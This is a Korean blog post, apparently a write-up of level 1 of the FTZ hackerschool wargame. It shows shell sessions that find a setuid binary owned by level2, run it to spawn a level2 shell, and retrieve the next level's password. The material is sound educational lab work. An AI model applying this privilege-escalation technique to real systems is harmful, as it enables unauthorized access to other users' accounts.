- 백도어
악의적인 사용자가 시스템의 보안 헛점을 응용하는 고의로 만들어진 프로그램
사용자 인증등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근 할 수 있는 프로그램
- level 1
ftz.hackershool.org
[level1@ftz level1]$ ls -l
|
합계 12 -rw-r--r-- 1 root root 47 4월 4 2000 hint drwxr-xr-x 2 root level1 4096 12월 7 2003 public_html drwxrwxr-x 2 root level1 4096 1월 16 2009 tmp |
|
> hint 파일 발견
[level1@ftz level1]$ cat hint
|
level2 권한에 setuid가 걸린 파일을 찾는다. |
|
find 명령어를 통해 찾는다
|
/bin/ExecuteMe |
|
> 소유자가 level2 이고 퍼미션이 최소 4000이상인 것들
> ExecuteMe 하나가 검색 되었고 어떤 파일인지 확인한다.
[level1@ftz level1]$ file /bin/ExecuteMe
|
/bin/ExecuteMe: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped |
|
> 실행 파일
[level1@ftz level1]$ ls -l /bin/ExecuteMe
|
-rwsr-x--- 1 level2 level1 12868 8월 19 2014 /bin/ExecuteMe |
|
[level1@ftz level1]$ /bin/ExecuteMe
|
레벨2의 권한으로 당신이 원하는 명령어를 한가지 실행시켜 드리겠습니다. (단, my-pass 와 chmod는 제외) 어떤 명령을 실행시키겠습니까? [level2@ftz level2]$ |
|
> level2의 권한을 얻는 것같다. bash를 치면 level2의 권한으로 쉘프롬프트가 뜬다.
[level2@ftz level2]$ id
|
uid=3002(level2) gid=3001(level1) groups=3001(level1) |
|
> level2 의 쉘을 실행하고 /bin/ExecuteMe는 종료 되었기 때문에 my-pass 명령어 실행 가능하다.
[level2@ftz level2]$ my-pass
|
Level2 Password is "hacker or cracker". |
|
> level2 의 암호 획득
'Security > 리버싱' 카테고리의 다른 글
Level2 문제 해결 (0) | 2017.11.28 |
---|---|
level 1 문제 해결 ( /bin/ExecuteMe 해석 ) (0) | 2017.11.27 |
GDB 사용법 (1) | 2017.11.27 |
리버싱 실습환경 구성 (0) | 2017.11.27 |
어셈블리언어 (0) | 2017.11.27 |